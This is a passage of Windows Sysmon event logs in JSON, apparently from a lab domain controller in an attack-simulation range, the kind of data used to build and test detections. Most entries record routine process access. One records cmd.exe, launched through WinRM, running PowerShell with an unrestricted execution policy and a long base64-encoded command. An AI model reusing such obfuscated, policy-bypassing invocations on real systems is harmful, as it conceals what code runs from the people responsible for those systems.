System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4515,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.100\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.100","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4516,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.100\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.100","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4517,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.114\r\nProcessGuid: {90617006-413F-5F2D-0000-0010C6750600}\r\nProcessId: 4596\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413F-5F2D-0000-0020D2720600}\r\nLogonId: 0x672D2\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-413F-5F2D-0000-001000730600}\r\nParentProcessId: 2900\r\nParentImage: C:\\Windows\\System32\\winrshost.exe\r\nParentCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.114","ProcessGuid":"{90617006-413F-5F2D-0000-0010C6750600}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413F-5F2D-0000-0020D2720600}","LogonId":"0x672d2","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-413F-5F2D-0000-001000730600}","ParentProcessId":"2900","ParentImage":"C:\\Windows\\System32\\winrshost.exe","ParentCommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4518,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.100\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-001000730600}\r\nSourceProcessId: 2900\r\nSourceThreadId: 4432\r\nSourceImage: C:\\Windows\\system32\\WinrsHost.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-0010C6750600}\r\nTargetProcessId: 4596\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.100","SourceProcessGUID":"{90617006-413F-5F2D-0000-001000730600}","SourceProcessId":"2900","SourceThreadId":"4432","SourceImage":"C:\\Windows\\system32\\WinrsHost.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-0010C6750600}","TargetProcessId":"4596","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4519,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.100\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-0010C6750600}\r\nTargetProcessId: 4596\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.100","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-0010C6750600}","TargetProcessId":"4596","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4520,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.100\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 